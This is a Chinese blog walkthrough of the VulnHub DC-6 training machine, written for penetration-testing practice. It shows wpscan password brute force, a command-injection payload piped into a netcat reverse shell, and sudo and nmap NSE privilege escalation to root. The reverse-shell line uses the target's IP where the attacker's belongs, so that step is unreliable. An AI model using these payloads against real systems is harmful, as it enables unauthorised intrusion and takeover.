1.下载靶机

本篇文章是DC靶机系列的第6篇,针对的是靶机DC-6,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。

DC-6的下载地址为DC: 6 ~ VulnHub。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。

DC-6只有一个flag。

在VMware加载成功之后并开启,建议把DC-6靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。显示如下界面:

2.收集靶机信息

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下

找到DC-6的IP地址为192.168.88.131,接下来使用nmap扫描该端口。

发现该靶机开启了80、22端口,80为web服务,我们访问http://192.168.88.131:80

发现访问失败,并且url被解析成了http://wordy/,这个问题和DC-2类似,需要在系统hosts文件上添加解析:

192.168.88.131 wordy

注意,如果是在kali虚拟机中添加,使用vim /etc/hosts 进行添加,此时只能使用kali虚拟机中的浏览器进行方法问;如果想在自己物理机上访问的话,需要在物理机的hosts文件添加上面语句。

然后在使用浏览器进行访问

此时的网站指纹为:

可以得到一个线索:该靶机的CMS系统为wordpress5.1.1。对于这个线索,我们有两个思路:

第一:利用目录扫描工具寻找该CMS的后台管理系统,然后再爆破密码和账号,进入后台管理系统寻找可利用的点。

第二:我们可以在网络上搜索该版本的漏洞,或者使用searchsploit,msfconsole等工具寻找漏洞及利用方法。

殊途同归,本文先循着第一个思路进行。这里利用dirb目录扫描工具寻找后台管理界面,当然也可以其他的工具,配合目录字典进行爆破,这里不详细展开。

结果中有一个http://192.168.88.131/wp-admin 我们尝试一下,果然是后台

这个思路和DC-2特别像。接着是爆破账号密码。盲猜一破admin admin,输入显示密码错误,随便输入一个admin0001,显示账号不存在。靶机回显处理的不好啊,说明admin是其中一个账号了。

继续爆破账号密码,使用针对该CMS的账号爆破工具wpscan,猜解密码:

输入命令行:wpscan --url http://wordy -e u

猜解出以上5个用户名,我们将其保存在一个DC-6-name.txt文件中(文件名自拟)。

接着利用cewl根据本文生成密码,然后再利用爆破工具暴力破解。本文利用cewl生成的密码都没破解出来,需要更强大的字典,这里有两个选择,一个是使用自己平时积累的密码字典破解,或者利用kali自带的密码字典,毕竟在下载靶机镜像的时候,作者已经提示了:

我们就使用kali自带的字典,根据提示,将字典到本地。

然后使用爆破工具进行爆破,可以使用bp,hydra,medusa等,本文还是选择wpscan工具

输入命令行:

wpscan --url http://wordy -P passwords.txt -U dc-6-name.txt

显然字典太大了,这是一个漫长的过程。最后结果是只爆破了mark helpdesk01。

利用这个账号密码登陆成功。

然后就开始360度无死角的检查该系统,寻找可利用的点,这里寻找到两个线索,第一:该网站使用了activity monitor工具,第二,在activity monitor目录的tools一栏存在可注入的点

这里输入IP或者数字,然后将用户的输入传到后台解析。

根据这两个线索,本文又有两个思路:

第一:既然会回传用户的输入到后台解析,那么是否可以修改数据包达到我们的目的呢?可以利用BP抓包测试。

第二:利用前文提到的漏洞扫描工具对activity monitor进行扫描,寻找历史漏洞。

本文利用第一个思路,输入souhu.com,点击lookup

开启bp抓包,并发送

然后将souhu.com改成souhu.com|whoami

发现管道符后面的whoami运行了。说明此处存在漏洞。

3.漏洞测试

接着利用该漏洞反弹一个shell。

首先在kali虚拟机上开启监听

将包改成 souhu.com|nc -e /bin/bash 192.168.88.131 7777

可以看到shell已经回传到kali上了

我们利用python开启交互模式。输入命令

python -c 'import pty;pty.spawn("/bin/bash")'

交互模式成功,打开home目录,查找新的线索:

发现在mark目录下存在一个things-to-do文件,打开发现了graham的账号密码。

然后登陆graham的账号密码,发现登陆失败,想到该靶机还开启了22端口因此尝试ssh登录。

登陆成功。

5.漏洞利用

尝试一下sudo -l出现了免密的jens的命令

进入/home/jens目录,打开backups.sh文件

里面是一个压缩命令行,说明该文件可以运行,因此想到可以在该文件中添加/bin/bash语句,则可以打开jens的shell了。

echo '/bin/bash' >> backups.sh #在文件中添加命令行

sudo ./backups.sh #运行失败,因为此时是graham哟用户

sudo -u jens ./backups.sh #-u 指定用户

反弹了一个jens的shell。

发现jens可以免密码运行root权限nmap。此时想到nmap可以运行文件,那么我们写一个打开root shell的文件,再让nmap执行,就可以拿到root权限了

echo 'os.execute("/bin/sh")' >getshell.nse #写一个root shell的文件

sudo nmap --script=getshell.nse #运行

打开root目录,发现theflag.txt文件

拿到flag!

此外:

1.本文有两处地方有两个思路,由于我比较懒,就没有另外集中发思路的过程写下来,感兴趣的读者可以尝试!

渗透测试学习之靶机DC-6相关推荐

  1. 渗透测试学习之靶机DC-2

    1.下载靶机 本篇文章是DC靶机系列的第二个篇,针对DC-2,建议感兴趣的读者从DC-1开始练习((26条消息) 渗透测试学习之靶机DC-1_xdbzdgx的博客-CSDN博客). DC-2的下载地址 ...

  2. 渗透测试 ( 2 ) --- 渗透测试系统、靶机、GoogleHacking、kali工具

    操作系统:https://zhuanlan.zhihu.com/p/162865015 1.基于 Windows.Linux.Android 的渗透测试系统 1.1 基于 Linux 的系统 Kali ...

  3. 渗透测试学习笔记之案例二

    0x00 前言 渗透是个持续的过程,不断地搜集信息,整理信息,以及利用信息,最终的目标就是拿到系统乃至整个网络的最高权限.在笔者看来,渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到 ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. 渗透测试学习总体概括

    渗透测试学习总体概括 一.相关内容 1.编程语言基础知识语法的一个掌握,对于编程的本身来讲没有区别.2.把一个想法变成一个工具或者功能.3.安全工程师的软件工程能力较弱,也不影响安全的能力.java的 ...

  6. Android 渗透测试学习手册 翻译完成!

    Android 渗透测试学习手册 中文版 原书:Learning Pentesting for Android Devices 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 代码仓库 ...

  7. web渗透测试学习路径图

    Web渗透测试学习路线 一.基础知识 1.1 网络协议 <图解http> 1.2 编程语言 python 30 days for python go 1.3 Linux/Bash Over ...

  8. kali linux 渗透测试学习笔记——被动信息收集

    kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...

  9. web渗透测试学习网站

    web渗透测试学习网站 信息收集好站 雨从 : 渗透工具 安全圈: OSSA: 洞悉漏洞: 7tools 师傅们: mircro8: panda: smile: landgrey: ajay13 90 ...

最新文章

  1. 排序算法---计数排序(java版)
  2. 从零开始_学_数据结构(六)——排序(冒泡、插入、希尔、简单选择、归并、快速)...
  3. 笔记本电源适配器的选择方法
  4. CodeForces - 1497E2 Square-free division (hard version)(dp+数论)
  5. CRM呼叫中心异步搜索实现的调试截图
  6. 利用obfuscar对.NET应用进行混淆
  7. 串传送指令MOVSB MOVSW
  8. linux python源码目录结构,TensorFlow0.8源码阅读 -- 代码目录结构讲解
  9. 在只需要一个指定正确的参数的情况下如何防止传入其他干扰的参数
  10. java exception子类_Java异常 Exception类及其子类(实例讲解)
  11. 【安卓开发】AS神奇的报错:Cannot find AVD system path. Please define ANDROID_SDK_ROOT
  12. 漫谈边缘计算(一):边缘计算是大势所趋
  13. 春节档总票房已破50亿 情人节单日票房超14亿
  14. Eclipse-JAVA版本
  15. c++绝对值函数_Python自带自定义高阶函数实战
  16. 基于CentOS7.2安装Kubernetes-v1.2
  17. Falsy Bouncer|FreeCodeCamp
  18. windbg加载符号
  19. 一些U盘启动盘电脑热键的对应关系
  20. 固态硬盘系统迁移踩过的坑

热门文章

  1. 日常工作积累(待续)
  2. css表格单元格大小,CSS怎样控制表格单元格的宽高?
  3. 移动市场平台MTK和android谁会笑到最后
  4. x264编码参数详细介绍
  5. testdirector
  6. 织梦(dedecms)仿站教程第一讲-准备工作
  7. ubuntu16.04下dyna-slam编译运行
  8. C#生成电子印章源码
  9. 六、 进程的三种基本状态
  10. 快速提高微信公众号文章的阅读量的必备神器——阅读红包!